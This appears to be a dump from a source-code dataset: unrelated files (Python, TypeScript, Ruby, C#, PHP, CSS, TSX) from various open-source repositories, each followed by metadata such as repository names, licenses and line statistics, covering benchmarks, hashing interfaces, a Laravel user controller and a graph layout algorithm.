# Copyright (c) 2012 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. from collections import defaultdict import os import sys from chrome_remote_control import page_test # Get build/android/pylib scripts into our path. # TODO(tonyg): Move perf_tests_helper.py to a common location. sys.path.append( os.path.abspath( os.path.join(os.path.dirname(__file__), '../../../build/android/pylib'))) # pylint: disable=F0401 from perf_tests_helper import GeomMeanAndStdDevFromHistogram from perf_tests_helper import PrintPerfResult # pylint: disable=F0401 def _Mean(l): return float(sum(l)) / len(l) if len(l) > 0 else 0.0 class MeasurementFailure(page_test.Failure): """Exception that can be thrown from MeasurePage to indicate an undesired but designed-for problem.""" pass class BenchmarkResults(page_test.PageTestResults): def __init__(self): super(BenchmarkResults, self).__init__() self.results_summary = defaultdict(list) self.page_results = [] self.field_names = None self.field_units = {} self.field_types = {} self._page = None self._page_values = {} def WillMeasurePage(self, page): self._page = page self._page_values = {} def Add(self, name, units, value, data_type='default'): assert name not in self._page_values, 'Result names must be unique' assert name != 'url', 'The name url cannot be used' if self.field_names: assert name in self.field_names, """MeasurePage returned inconsistent results! You must return the same dict keys every time.""" else: self.field_units[name] = units self.field_types[name] = data_type self._page_values[name] = value def DidMeasurePage(self): assert self._page, 'Failed to call WillMeasurePage' if not self.field_names: self.field_names = self._page_values.keys() self.field_names.sort() self.page_results.append(self._page_values) for name in self.field_names: units = self.field_units[name] data_type = self.field_types[name] value = self._page_values[name] self.results_summary[(name, units, data_type)].append(value) def PrintSummary(self, trace_tag): for measurement_units_type, values in sorted( self.results_summary.iteritems()): measurement, units, data_type = measurement_units_type trace = measurement + (trace_tag or '') PrintPerfResult(measurement, trace, values, units, data_type) class CsvBenchmarkResults(BenchmarkResults): def __init__(self, results_writer): super(CsvBenchmarkResults, self).__init__() self._results_writer = results_writer self._did_write_header = False def DidMeasurePage(self): super(CsvBenchmarkResults, self).DidMeasurePage() if not self._did_write_header: self._did_write_header = True row = ['url'] for name in self.field_names: row.append('%s (%s)' % (name, self.field_units[name])) self._results_writer.writerow(row) row = [self._page.url] for name in self.field_names: value = self._page_values[name] if self.field_types[name] == 'histogram': avg, _ = GeomMeanAndStdDevFromHistogram(value) row.append(avg) elif isinstance(value, list): row.append(_Mean(value)) else: row.append(value) self._results_writer.writerow(row) # TODO(nduca): Rename to page_benchmark class MultiPageBenchmark(page_test.PageTest): """Glue code for running a benchmark across a set of pages. To use this, subclass from the benchmark and override MeasurePage. For example: class BodyChildElementBenchmark(MultiPageBenchmark): def MeasurePage(self, page, tab, results): body_child_count = tab.runtime.Evaluate( 'document.body.children.length') results.Add('body_children', 'count', body_child_count) if __name__ == '__main__': multi_page_benchmark.Main(BodyChildElementBenchmark()) All benchmarks should include a unit test! TODO(nduca): Add explanation of how to write the unit test. To add test-specific options: class BodyChildElementBenchmark(MultiPageBenchmark): def AddOptions(parser): parser.add_option('--element', action='store', default='body') def MeasurePage(self, page, tab, results): body_child_count = tab.runtime.Evaluate( 'document.querySelector('%s').children.length') results.Add('children', 'count', child_count) """ def __init__(self): super(MultiPageBenchmark, self).__init__('_RunTest') def _RunTest(self, page, tab, results): results.WillMeasurePage(page) self.MeasurePage(page, tab, results) results.DidMeasurePage() def MeasurePage(self, page, tab, results): """Override to actually measure the page's performance. page is a page_set.Page tab is an instance of chrome_remote_control.Tab Should call results.Add(name, units, value) for each result, or raise an exception on failure. The name and units of each Add() call must be the same across all iterations. The name 'url' must not be used. Prefer field names that are in accordance with python variable style. E.g. field_name. Put together: def MeasurePage(self, page, tab, results): res = tab.runtime.Evaluate('2+2') if res != 4: raise Exception('Oh, wow.') results.Add('two_plus_two', 'count', res) """ raise NotImplementedError()
32.905882
79
0.69503
c9d3b8fac0fab9d6b93e4b9ae2d23580d46d037f
1,557
ts
TypeScript
lib/hashing/WASMInterface.d.ts
hex3928/scord-bot-deno
cffffdb776f917d12536d54dd8fab4cfe3444f63
[ "MIT" ]
null
null
null
lib/hashing/WASMInterface.d.ts
hex3928/scord-bot-deno
cffffdb776f917d12536d54dd8fab4cfe3444f63
[ "MIT" ]
null
null
null
lib/hashing/WASMInterface.d.ts
hex3928/scord-bot-deno
cffffdb776f917d12536d54dd8fab4cfe3444f63
[ "MIT" ]
null
null
null
import { IDataType } from "./util.d.ts"; export declare const MAX_HEAP: number; declare type ThenArg<T> = T extends Promise<infer U> ? U : T extends ((...args: any[]) => Promise<infer V>) ? V : T; export declare type IHasher = { /** * Initializes hash state to default value */ init: () => IHasher; /** * Updates the hash content with the given data */ update: (data: IDataType) => IHasher; /** * Calculates the hash of all of the data passed to be hashed with hash.update(). * Defaults to hexadecimal string * @param outputType If outputType is "binary", it returns Uint8Array. Otherwise it * returns hexadecimal string */ digest: { (outputType: "binary"): Uint8Array; (outputType?: "hex"): string; }; /** * Block size in bytes */ blockSize: number; /** * Digest size in bytes */ digestSize: number; }; export declare function WASMInterface(binary: any, hashLength: number): Promise<{ getMemory: () => Uint8Array; writeMemory: (data: Uint8Array, offset?: number) => void; getExports: () => any; setMemorySize: (totalSize: number) => void; init: (bits?: number) => void; update: (data: IDataType) => void; digest: (outputType: "hex" | "binary", padding?: number) => Uint8Array | string; calculate: (data: IDataType, initParam?: any, digestParam?: any) => string; hashLength: number; }>; export declare type IWASMInterface = ThenArg<ReturnType<typeof WASMInterface>>; export {};
34.6
116
0.617855
f744394c10cb4a4163acfc41a870bcaa6d135d14
141
rb
Ruby
app/models/spree/fairground.rb
CodeBag414/spree_fairground
55ecf945842ddf9a417a07c446075a3b45358f86
[ "BSD-3-Clause" ]
null
null
null
app/models/spree/fairground.rb
CodeBag414/spree_fairground
55ecf945842ddf9a417a07c446075a3b45358f86
[ "BSD-3-Clause" ]
null
null
null
app/models/spree/fairground.rb
CodeBag414/spree_fairground
55ecf945842ddf9a417a07c446075a3b45358f86
[ "BSD-3-Clause" ]
null
null
null
module Spree::Fairground def self.table_name_prefix 'spree_fairground_' end def self.use_relative_model_naming? true end end
15.666667
37
0.758865
cdb3bd1060a62207a0218b8bd85a4b8520236ed4
542
cs
C#
src/Celloc.DataTable/ArgumentGuards.cs
alexander-forbes/celloc.datatable
4e149121e402e62944af4e3e2387eafa683084b5
[ "MIT" ]
null
null
null
src/Celloc.DataTable/ArgumentGuards.cs
alexander-forbes/celloc.datatable
4e149121e402e62944af4e3e2387eafa683084b5
[ "MIT" ]
null
null
null
src/Celloc.DataTable/ArgumentGuards.cs
alexander-forbes/celloc.datatable
4e149121e402e62944af4e3e2387eafa683084b5
[ "MIT" ]
null
null
null
using System; namespace Celloc.DataTable { internal class ArgumentGuards { public static void GuardAgainstNullTable(System.Data.DataTable table) { if (table == null) throw new ArgumentNullException(nameof(table)); } public static void GuardAgainstNullCell(string cell) { if (string.IsNullOrEmpty(cell)) throw new ArgumentNullException(nameof(cell)); } public static void GuardAgainstNullRange(string range) { if (string.IsNullOrEmpty(range)) throw new ArgumentNullException(nameof(range)); } } }
20.846154
71
0.734317
bb61286f55b54aa9ee4ee26859b184d6b10335a1
320
cs
C#
ThingAppraiser/Libraries/ThingAppraiser.CommonCSharp/ITypeId.cs
fossabot/ThingAppraiser
7836553ccb4ed1d2431115c7e5194d24259a748d
[ "Apache-2.0" ]
null
null
null
ThingAppraiser/Libraries/ThingAppraiser.CommonCSharp/ITypeId.cs
fossabot/ThingAppraiser
7836553ccb4ed1d2431115c7e5194d24259a748d
[ "Apache-2.0" ]
null
null
null
ThingAppraiser/Libraries/ThingAppraiser.CommonCSharp/ITypeId.cs
fossabot/ThingAppraiser
7836553ccb4ed1d2431115c7e5194d24259a748d
[ "Apache-2.0" ]
null
null
null
using System; namespace ThingAppraiser { /// <summary> /// Adds type id to track which types can be processed by instance. /// </summary> public interface ITypeId { /// <summary> /// Type of the data structure to process. /// </summary> Type TypeId { get; } } }
20
71
0.559375
afe3161cc07fbf1bdf8759c784f225165f78840b
2,390
py
Python
modules/ckanext-sixodp_showcase/ckanext/sixodp_showcase/logic/action/get.py
eetumans/opendata
061f58550bcb820016a764cca4763ed0a5f627fe
[ "MIT" ]
null
null
null
modules/ckanext-sixodp_showcase/ckanext/sixodp_showcase/logic/action/get.py
eetumans/opendata
061f58550bcb820016a764cca4763ed0a5f627fe
[ "MIT" ]
null
null
null
modules/ckanext-sixodp_showcase/ckanext/sixodp_showcase/logic/action/get.py
eetumans/opendata
061f58550bcb820016a764cca4763ed0a5f627fe
[ "MIT" ]
null
null
null
import sqlalchemy import ckan.plugins.toolkit as toolkit import ckan.lib.dictization.model_dictize as model_dictize from ckan.lib.navl.dictization_functions import validate from ckanext.showcase.logic.schema import package_showcase_list_schema from ckanext.showcase.model import ShowcasePackageAssociation from ckan.logic import NotAuthorized import logging log = logging.getLogger(__name__) _select = sqlalchemy.sql.select _and_ = sqlalchemy.and_ @toolkit.side_effect_free def showcase_list(context, data_dict): '''Return a list of all showcases in the site.''' toolkit.check_access('ckanext_showcase_list', context, data_dict) model = context["model"] q = model.Session.query(model.Package) \ .filter(model.Package.type == 'showcase') \ .filter(model.Package.state == 'active') # Showcase includes private showcases by default, but those can be excluded with include_private = false if data_dict.get('include_private') is 'false': q = q.filter(model.Package.private == False) # Noqa showcase_list = [] for pkg in q.all(): showcase_list.append(model_dictize.package_dictize(pkg, context)) return showcase_list @toolkit.side_effect_free def package_showcase_list(context, data_dict): '''List showcases associated with a package. :param package_id: id or name of the package :type package_id: string :rtype: list of dictionaries ''' toolkit.check_access('ckanext_package_showcase_list', context, data_dict) # validate the incoming data_dict validated_data_dict, errors = validate(data_dict, package_showcase_list_schema(), context) if errors: raise toolkit.ValidationError(errors) # get a list of showcase ids associated with the package id showcase_id_list = ShowcasePackageAssociation.get_showcase_ids_for_package( validated_data_dict['package_id']) showcase_list = [] if showcase_id_list is not None: for showcase_id in showcase_id_list: try: showcase = toolkit.get_action('package_show')(context, {'id': showcase_id}) showcase_list.append(showcase) except NotAuthorized: pass return showcase_list
31.447368
108
0.682427
3947e2b7a94283d730e72d9491bb1e8e129461bc
2,877
py
Python
bokeh/_legacy_charts/builder/tests/test_scatter_builder.py
evidation-health/bokeh
2c580d93419033b962d36e3c46d7606cc2f24606
[ "BSD-3-Clause" ]
1
2017-08-02T23:12:03.000Z
2017-08-02T23:12:03.000Z
bokeh/_legacy_charts/builder/tests/test_scatter_builder.py
evidation-health/bokeh
2c580d93419033b962d36e3c46d7606cc2f24606
[ "BSD-3-Clause" ]
null
null
null
bokeh/_legacy_charts/builder/tests/test_scatter_builder.py
evidation-health/bokeh
2c580d93419033b962d36e3c46d7606cc2f24606
[ "BSD-3-Clause" ]
null
null
null
""" This is the Bokeh charts testing interface. """ #----------------------------------------------------------------------------- # Copyright (c) 2012 - 2014, Continuum Analytics, Inc. All rights reserved. # # Powered by the Bokeh Development Team. # # The full license is in the file LICENSE.txt, distributed with this software. #----------------------------------------------------------------------------- #----------------------------------------------------------------------------- # Imports #----------------------------------------------------------------------------- from __future__ import absolute_import from collections import OrderedDict import unittest import numpy as np from numpy.testing import assert_array_equal import pandas as pd from bokeh._legacy_charts import Scatter from ._utils import create_chart #----------------------------------------------------------------------------- # Classes and functions #----------------------------------------------------------------------------- class TestScatter(unittest.TestCase): def test_supported_input(self): xyvalues = OrderedDict() xyvalues['python'] = [(1, 2), (3, 3), (4, 7), (5, 5), (8, 26)] xyvalues['pypy'] = [(1, 12), (2, 23), (4, 47), (5, 15), (8, 46)] xyvalues['jython'] = [(1, 22), (2, 43), (4, 10), (6, 25), (8, 26)] xyvaluesdf = pd.DataFrame(xyvalues) y_python = [2, 3, 7, 5, 26] y_pypy = [12, 23, 47, 15, 46] y_jython = [22, 43, 10, 25, 26] x_python = [1, 3, 4, 5, 8] x_pypy = [1, 2, 4, 5, 8] x_jython = [1, 2, 4, 6, 8] for i, _xy in enumerate([xyvalues, xyvaluesdf]): hm = create_chart(Scatter, _xy) builder = hm._builders[0] self.assertEqual(sorted(builder._groups), sorted(list(xyvalues.keys()))) assert_array_equal(builder._data['y_python'], y_python) assert_array_equal(builder._data['y_jython'], y_jython) assert_array_equal(builder._data['y_pypy'], y_pypy) assert_array_equal(builder._data['x_python'], x_python) assert_array_equal(builder._data['x_jython'], x_jython) assert_array_equal(builder._data['x_pypy'], x_pypy) lvalues = [xyvalues['python'], xyvalues['pypy'], xyvalues['jython']] for _xy in [lvalues, np.array(lvalues)]: hm = create_chart(Scatter, _xy) builder = hm._builders[0] self.assertEqual(builder._groups, ['0', '1', '2']) assert_array_equal(builder._data['y_0'], y_python) assert_array_equal(builder._data['y_1'], y_pypy) assert_array_equal(builder._data['y_2'], y_jython) assert_array_equal(builder._data['x_0'], x_python) assert_array_equal(builder._data['x_1'], x_pypy) assert_array_equal(builder._data['x_2'], x_jython)
41.1
84
0.520681
b71749f322fbcbaf1e07d500ff3753e34bc6f21f
3,302
cs
C#
src/Cake.ResourceHacker/ResourceHackerTool.cs
gep13/Cake.ResourceHacker
9a4650fbf95b7716975d0b1c4969aa459885c2cb
[ "MIT" ]
null
null
null
src/Cake.ResourceHacker/ResourceHackerTool.cs
gep13/Cake.ResourceHacker
9a4650fbf95b7716975d0b1c4969aa459885c2cb
[ "MIT" ]
7
2019-04-18T09:14:13.000Z
2021-03-14T14:47:33.000Z
src/Cake.ResourceHacker/ResourceHackerTool.cs
gep13/Cake.ResourceHacker
9a4650fbf95b7716975d0b1c4969aa459885c2cb
[ "MIT" ]
3
2019-06-22T15:09:11.000Z
2021-02-23T00:45:07.000Z
using Cake.Core; using Cake.Core.IO; using Cake.Core.Tooling; using System; using System.Collections.Generic; namespace Cake.ResourceHacker { /// <summary> /// Resource Hacker tool. /// </summary> /// <typeparam name="TSettings">The settings type.</typeparam> public class ResourceHackerTool : Tool<ResourceHackerSettings> { readonly ICakeEnvironment environment; readonly IFileSystem fileSystem; /// <summary> /// Initializes a new instance of the <see cref="ResourceHackerTool"/> class. /// </summary> /// <param name="fileSystem">The file system.</param> /// <param name="environment">The environment.</param> /// <param name="processRunner">The process runner.</param> /// <param name="tools">The tools.</param> public ResourceHackerTool( IFileSystem fileSystem, ICakeEnvironment environment, IProcessRunner processRunner, IToolLocator tools) : base(fileSystem, environment, processRunner, tools) { this.fileSystem = fileSystem; this.environment = environment; } /// <summary> /// Runs given <paramref name="command"/> using given <paramref name="settings"/>. /// </summary> /// <param name="command">The command.</param> /// <param name="settings">The settings.</param> /// <param name="additional">Additional arguments.</param> public void Run(string command, ResourceHackerSettings settings) { if (string.IsNullOrEmpty(command)) { throw new ArgumentNullException(nameof(command)); } Run(settings, GetArguments(command, settings ?? new ResourceHackerSettings())); } ProcessArgumentBuilder GetArguments(string command, ResourceHackerSettings settings) { var builder = new ProcessArgumentBuilder(); builder.AppendAll(environment, command, settings); return builder; } /// <summary> /// Gets the name of the tool. /// </summary> /// <returns>The name of the tool.</returns> protected override string GetToolName() { return "Resource Hacker"; } /// <summary> /// Gets the possible names of the tool executable. /// </summary> /// <returns>The tool executable name.</returns> protected override IEnumerable<string> GetToolExecutableNames() { return new[] { "ResourceHacker.exe", "ResourceHacker" }; } /// <summary> /// Finds the proper Resource Hacker executable path. /// </summary> /// <param name="settings">The settings.</param> /// <returns>A single path to Resource Hacker executable.</returns> protected override IEnumerable<FilePath> GetAlternativeToolPaths(ResourceHackerSettings settings) { var path = ResourceHackerResolver.GetResourceHackerPath(fileSystem, environment); if (path != null) { return new FilePath[] { path }; } else { return new FilePath[0]; } } } }
35.891304
105
0.584191
050c36e61932ffd030598a09daef177b8d77805c
1,074
css
CSS
client/src/app/browser/info/info.css
igd-geo/colabis-dmp
90b67e2f35ff885f21b791cd54f5b14097989fe6
[ "Apache-2.0" ]
null
null
null
client/src/app/browser/info/info.css
igd-geo/colabis-dmp
90b67e2f35ff885f21b791cd54f5b14097989fe6
[ "Apache-2.0" ]
null
null
null
client/src/app/browser/info/info.css
igd-geo/colabis-dmp
90b67e2f35ff885f21b791cd54f5b14097989fe6
[ "Apache-2.0" ]
null
null
null
:host > div{ padding-bottom:15px } .panel-heading .panel-title:after { font-family: 'Glyphicons Halflings'; content: "\e114"; float: right; color: grey; } .panel-heading { cursor: pointer; } .panel-heading .collapsed:after { content: "\e080"; } button { /*background:none!important;*/ /*border:none;*/ /*padding:0!important;*/ /*font: inherit;*/ /*border is optional*/ } input.ng-valid[required] { border-left: 5px solid #42A948; /* green */ } input.ng-invalid { border-left: 5px solid #a94442; /* red */ } a.inactive { cursor: default; pointer-events: none; color: lightgray; } a:hover, a:focus { text-decoration: none } a { cursor: pointer; } table tr:last-child.active, table tr:last-child.active td { background-color: unset; border-bottom: none; } .uk-accordion-title { margin: 0; } .uk-accordion-content { border-left: 3px solid #E5E5E5; border-bottom: 1px solid #E5E5E5; padding: 0; } table { margin: 0; } .controls { padding: 4px 8px; } table td { word-break: break-all; overflow: hidden; }
13.425
38
0.646182
c93ea12a70b8f227e35beca051dce02ac1d96c7c
1,277
tsx
TypeScript
src/ui/modal/selectedExampleDescriptionModal.tsx
cancerberoSgx/js-ast-experiments-of-mine
d7ef2d9edbdb08398c07eb37eec82eb168bdd28c
[ "MIT" ]
null
null
null
src/ui/modal/selectedExampleDescriptionModal.tsx
cancerberoSgx/js-ast-experiments-of-mine
d7ef2d9edbdb08398c07eb37eec82eb168bdd28c
[ "MIT" ]
null
null
null
src/ui/modal/selectedExampleDescriptionModal.tsx
cancerberoSgx/js-ast-experiments-of-mine
d7ef2d9edbdb08398c07eb37eec82eb168bdd28c
[ "MIT" ]
null
null
null
import React from 'react'; import { getState } from '../../workspace'; export default () => <div className={"modal fade"} id="selectedExampleDescriptionModal" role="dialog" aria-labelledby="selectedExampleDescriptionModalLabel" aria-hidden="true"> <div className={"modal-dialog modal-lg"} role="document"> <div className={"modal-content"}> <div className={"modal-header"}> <h5 className={"modal-title"} id="selectedExampleDescriptionModalLabel">{getState().selectedExample.name}</h5> <button type="button" className={"close"} data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">&times;</span> </button> </div> <div className={"modal-body"}> <p>The current example is called "{getState().selectedExample.name}"</p> <p>Description: </p> {getState().selectedExample.description.split('\n').map(line => <p>{line}</p> )} <p>Tags: </p> <pre>{JSON.stringify(getState().selectedExample.tags, null, 2)}</pre> </div> <div className={"modal-footer"}> <button type="button" className={"btn btn-secondary"} data-dismiss="modal">Close</button> </div> </div> </div> </div>
36.485714
157
0.598277
df3c551935f47398854f52e6a7332fccc22eb1a7
420
cs
C#
Src/Shared/Tauron.Application.Workshop/Mutation/IEventSourceable.cs
Tauron1990/Project-Manager-Akka
571c07ae90bac8405ae051ff90d8b0c7e4b77562
[ "MIT" ]
1
2021-02-22T13:39:28.000Z
2021-02-22T13:39:28.000Z
Src/Shared/Tauron.Application.Workshop/Mutation/IEventSourceable.cs
Tauron1990/Project-Manager-Akka
571c07ae90bac8405ae051ff90d8b0c7e4b77562
[ "MIT" ]
null
null
null
Src/Shared/Tauron.Application.Workshop/Mutation/IEventSourceable.cs
Tauron1990/Project-Manager-Akka
571c07ae90bac8405ae051ff90d8b0c7e4b77562
[ "MIT" ]
1
2020-12-08T23:26:30.000Z
2020-12-08T23:26:30.000Z
using System; using JetBrains.Annotations; namespace Tauron.Application.Workshop.Mutation { [PublicAPI] public interface IEventSourceable<out TData> { IEventSource<TRespond> EventSource<TRespond>(Func<TData, TRespond> transformer, Func<TData, bool>? where = null); IEventSource<TRespond> EventSource<TRespond>(Func<IObservable<TData>, IObservable<TRespond>> transform); } }
30
112
0.719048
3886b345129c2d4962d41a7b277d3cde6d9dee9f
3,794
php
PHP
app/Http/Controllers/superAdminController.php
Cloumus30/laravel-lib-app
0781c2afa906ad604116be06d1c36ffd1766041a
[ "MIT" ]
null
null
null
app/Http/Controllers/superAdminController.php
Cloumus30/laravel-lib-app
0781c2afa906ad604116be06d1c36ffd1766041a
[ "MIT" ]
null
null
null
app/Http/Controllers/superAdminController.php
Cloumus30/laravel-lib-app
0781c2afa906ad604116be06d1c36ffd1766041a
[ "MIT" ]
null
null
null
<?php namespace App\Http\Controllers; use App\Models\User; use CloudinaryLabs\CloudinaryLaravel\Facades\Cloudinary; use Illuminate\Http\Request; use Illuminate\Support\Facades\Hash; class superAdminController extends Controller { // public function semuaUser(){ $data = User::with('role')->get(); if($data){ $res['notif'] = 'data ditemukan'; }else{ $res['notif'] = 'tidak ada user'; } $res['data'] = $data; return $res; } public function tambahLibrarian(Request $request){ $req = [ 'nama' => $request->input('nama'), 'username' => $request->input('username'), 'password' => Hash::make($request->input('password')), 'email' => $request->input('email'), 'status' => $request->input('status'), 'role_id' => 2, ]; if($request->file('foto')){ $foto = $request->file('foto'); if($foto->isValid()){ $uploadedFoto = $foto->storeOnCloudinaryAs('lib_app/user','gambar11'); $fotoUrl = $uploadedFoto->getSecurePath(); $fotoName = $uploadedFoto->getPublicId(); $req['nama_foto'] = $fotoName; $req['link_foto'] = $fotoUrl; } }else{ $req['nama_foto'] = null; $req['link_foto'] = null; } // return $req; $data = User::create($req); $res = [ "notif" => "Data Librarian berhasil dimasukkan", "data" => $data, ]; return $res; } public function updateLibrarian(Request $request, $id){ $dataLama = User::find($id); $req = [ 'nama' => $request->input('nama'), 'username' => $request->input('username'), 'password' => Hash::make($request->input('password')), 'email' => $request->input('email'), 'status' => $request->input('status'), 'role_id' => 2, ]; if($request->file('foto')){ $foto = $request->file('foto'); if($dataLama->nama_foto){ $delete = Cloudinary::destroy($dataLama->nama_foto); } if($foto->isValid()){ $uploadedFoto = $foto->storeOnCloudinaryAs('lib_app/user','gambar14'); $fotoUrl = $uploadedFoto->getSecurePath(); $fotoName = $uploadedFoto->getPublicId(); $req['nama_foto'] = $fotoName; $req['link_foto'] = $fotoUrl; } } $data = User::where('id',$id)->update($req); $res = [ 'notif'=>'Data User berhasil di update', 'data' => $data, ]; return $res; } public function hapusLibrarian($id){ $data = User::find($id); if($data->nama_foto){ Cloudinary::destroy($data->nama_foto); } $delete = User::destroy($id); $res = [ "notif" => "Hapus Data Berhasil", "data" => $delete, ]; return $res; } public function nonActiveLibrarian($id){ $req =[ 'status'=>0, ]; User::where('id',$id)->update($req); $data = User::find($id); $res = [ 'notif'=>'user '.$data->nama.' berhasil di nonaktifkan', 'data' => $data ]; return $res; } public function activeLibrarian($id){ $req =[ 'status'=>1, ]; User::where('id',$id)->update($req); $data = User::find($id); $res = [ 'notif'=>'user '.$data->nama.' berhasil diaktifkan', 'data' => $data ]; return $res; } }
29.184615
86
0.468898
ae18c64eff5659e33b665df50352c04c3942fbf5
6,740
cs
C#
src/AddIns/Debugger/Debugger.AddIn/Visualizers/Graph/Layout/Tree/TreeLayout.cs
dongdapeng110/SharpDevelopTest
0339adff83ca9589e700593e6d5d1e7658e7e951
[ "MIT" ]
11
2015-05-14T08:36:05.000Z
2021-10-06T06:43:47.000Z
src/AddIns/Debugger/Debugger.AddIn/Visualizers/Graph/Layout/Tree/TreeLayout.cs
denza/SharpDevelop
406354bee0e349186868288447f23301a679c95c
[ "MIT" ]
null
null
null
src/AddIns/Debugger/Debugger.AddIn/Visualizers/Graph/Layout/Tree/TreeLayout.cs
denza/SharpDevelop
406354bee0e349186868288447f23301a679c95c
[ "MIT" ]
10
2015-04-08T09:02:32.000Z
2020-03-01T16:03:28.000Z
// Copyright (c) AlphaSierraPapa for the SharpDevelop Team (for details please see \doc\copyright.txt) // This code is distributed under the BSD license (for details please see \src\AddIns\Debugger\Debugger.AddIn\license.txt) using System; using System.Collections.Generic; using System.Windows; using Debugger.AddIn.Visualizers.Graph.Drawing; using System.Linq; namespace Debugger.AddIn.Visualizers.Graph.Layout { /// <summary> /// Calculates layout of <see cref="ObjectGraph" />, producing <see cref="PositionedGraph" />. /// </summary> public class TreeLayout { static readonly double NodeMarginH = 30; static readonly double NodeMarginV = 30; static readonly double MarginTop = 0; static readonly double MarginBottom = 0; GraphEdgeRouter edgeRouter = new GraphEdgeRouter(); /// <summary> /// The produced layout is either a horizontal or vertical tree. /// </summary> public LayoutDirection LayoutDirection { get; private set; } public TreeLayout(LayoutDirection layoutDirection) { this.LayoutDirection = layoutDirection; } /// <summary> /// Calculates layout for given <see cref="ObjectGraph" />. /// </summary> /// <param name="objectGraph"></param> /// <returns></returns> public PositionedGraph CalculateLayout(ObjectGraph objectGraph, Expanded expanded) { var positionedGraph = BuildPositionedGraph(objectGraph, expanded); CalculateLayout(positionedGraph); this.edgeRouter.RouteEdges(positionedGraph); return positionedGraph; } // Expanded is passed so that the correct ContentNodes are expanded in the PositionedNode PositionedGraph BuildPositionedGraph(ObjectGraph objectGraph, Expanded expanded) { var positionedNodeFor = new Dictionary<ObjectGraphNode, PositionedNode>(); var positionedGraph = new PositionedGraph(); // create empty PositionedNodes foreach (ObjectGraphNode objectNode in objectGraph.ReachableNodes) { var posNode = new PositionedNode(objectNode, expanded); posNode.MeasureVisualControl(); positionedGraph.AddNode(posNode); positionedNodeFor[objectNode] = posNode; } // create edges foreach (PositionedNode posNode in positionedGraph.Nodes) { foreach (PositionedNodeProperty property in posNode.Properties) { if (property.ObjectGraphProperty.TargetNode != null) { ObjectGraphNode targetObjectNode = property.ObjectGraphProperty.TargetNode; PositionedNode edgeTarget = positionedNodeFor[targetObjectNode]; property.Edge = new PositionedEdge { Name = property.Name, Source = property, Target = edgeTarget }; } } } positionedGraph.Root = positionedNodeFor[objectGraph.Root]; return positionedGraph; } void CalculateLayout(PositionedGraph positionedGraph) { // impose a tree structure on the graph HashSet<PositionedEdge> treeEdges = DetermineTreeEdges(positionedGraph.Root); // first layout pass CalculateSubtreeSizesRecursive(positionedGraph.Root, treeEdges); // second layout pass CalculateNodePosRecursive(positionedGraph.Root, treeEdges, MarginTop, MarginBottom); } HashSet<PositionedEdge> DetermineTreeEdges(PositionedNode root) { var treeEdges = new HashSet<PositionedEdge>(); var seenNodes = new HashSet<PositionedNode>(); var q = new Queue<PositionedNode>(); q.Enqueue(root); seenNodes.Add(root); while (q.Count > 0) { var node = q.Dequeue(); foreach (var property in node.Properties) { var edge = property.Edge; if (edge != null && edge.Target != null) { if (!seenNodes.Contains(edge.Target)) { treeEdges.Add(edge); seenNodes.Add(edge.Target); q.Enqueue(edge.Target); } } } } return treeEdges; } void CalculateSubtreeSizesRecursive(PositionedNode root, HashSet<PositionedEdge> treeEdges) { double subtreeSize = 0; foreach (var child in TreeChildNodes(root, treeEdges)) { CalculateSubtreeSizesRecursive(child, treeEdges); // just sum up the sizes of children subtreeSize += child.SubtreeSize; } root.SubtreeSize = Math.Max(GetLateralSizeWithMargin(root), subtreeSize); } /// <summary> /// Given SubtreeSize for each node, positions the nodes, in a left-to-right or top-to-bottom layout. /// </summary> /// <param name="node"></param> /// <param name="lateralStart"></param> /// <param name="mainStart"></param> void CalculateNodePosRecursive(PositionedNode node, HashSet<PositionedEdge> treeEdges, double lateralBase, double mainBase) { double childsSubtreeSize = TreeChildNodes(node, treeEdges).Sum(child => child.SubtreeSize); double center = TreeEdges(node, treeEdges).Count() == 0 ? 0 : 0.5 * (childsSubtreeSize - (GetLateralSizeWithMargin(node))); if (center < 0) { // if root is larger than subtree, it would be shifted below lateralStart // -> make whole layout start at lateralStart lateralBase -= center; } SetLateral(node, GetLateral(node) + lateralBase + center); SetMain(node, mainBase); double childLateral = lateralBase; double childsMainFixed = GetMain(node) + GetMainSizeWithMargin(node); foreach (var child in TreeChildNodes(node, treeEdges)) { CalculateNodePosRecursive(child, treeEdges, childLateral, childsMainFixed); childLateral += child.SubtreeSize; } } IEnumerable<PositionedEdge> TreeEdges(PositionedNode node, HashSet<PositionedEdge> treeEdges) { return node.Edges.Where(e => treeEdges.Contains(e)); } IEnumerable<PositionedNode> TreeChildNodes(PositionedNode node, HashSet<PositionedEdge> treeEdges) { return TreeEdges(node, treeEdges).Select(e => e.Target); } #region Horizontal / vertical layout helpers double GetMainSizeWithMargin(PositionedNode node) { return (this.LayoutDirection == LayoutDirection.LeftRight) ? node.Width + NodeMarginH : node.Height + NodeMarginV; } double GetLateralSizeWithMargin(PositionedNode node) { return (this.LayoutDirection == LayoutDirection.LeftRight) ? node.Height + NodeMarginV : node.Width + NodeMarginH; } double GetMain(PositionedNode node) { return (this.LayoutDirection == LayoutDirection.LeftRight) ? node.Left : node.Top; } double GetLateral(PositionedNode node) { return (this.LayoutDirection == LayoutDirection.LeftRight) ? node.Top : node.Left; } void SetMain(PositionedNode node, double value) { if (this.LayoutDirection == LayoutDirection.LeftRight) { node.Left = value; } else { node.Top = value; } } void SetLateral(PositionedNode node, double value) { if (this.LayoutDirection == LayoutDirection.LeftRight) { node.Top = value; } else { node.Left = value; } } #endregion } }
32.560386
126
0.718546
25c27ef14bb8f9794f531870992bdbefbf6110de
766
cs
C#
Database/LoggerProvider.cs
CanadianBeaver/BusinessModelUWP
1a65689c5bb9e4a4d63e881c66d824f0e70138cd
[ "MIT" ]
null
null
null
Database/LoggerProvider.cs
CanadianBeaver/BusinessModelUWP
1a65689c5bb9e4a4d63e881c66d824f0e70138cd
[ "MIT" ]
null
null
null
Database/LoggerProvider.cs
CanadianBeaver/BusinessModelUWP
1a65689c5bb9e4a4d63e881c66d824f0e70138cd
[ "MIT" ]
null
null
null
#if DEBUG namespace Database { using Microsoft.Extensions.Logging; using System; using System.Diagnostics; internal class LoggerProvider : ILoggerProvider { public ILogger CreateLogger(string categoryName) { return new ConsoleLogger(); } public void Dispose() { } private class ConsoleLogger : ILogger { public bool IsEnabled(LogLevel logLevel) { return logLevel == LogLevel.Information; } public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception exception, Func<TState, Exception, string> formatter) { Debug.WriteLine($"EFCore ({logLevel.ToString()}): {formatter(state, exception)}"); } public IDisposable BeginScope<TState>(TState state) { return null; } } } } #endif
20.157895
140
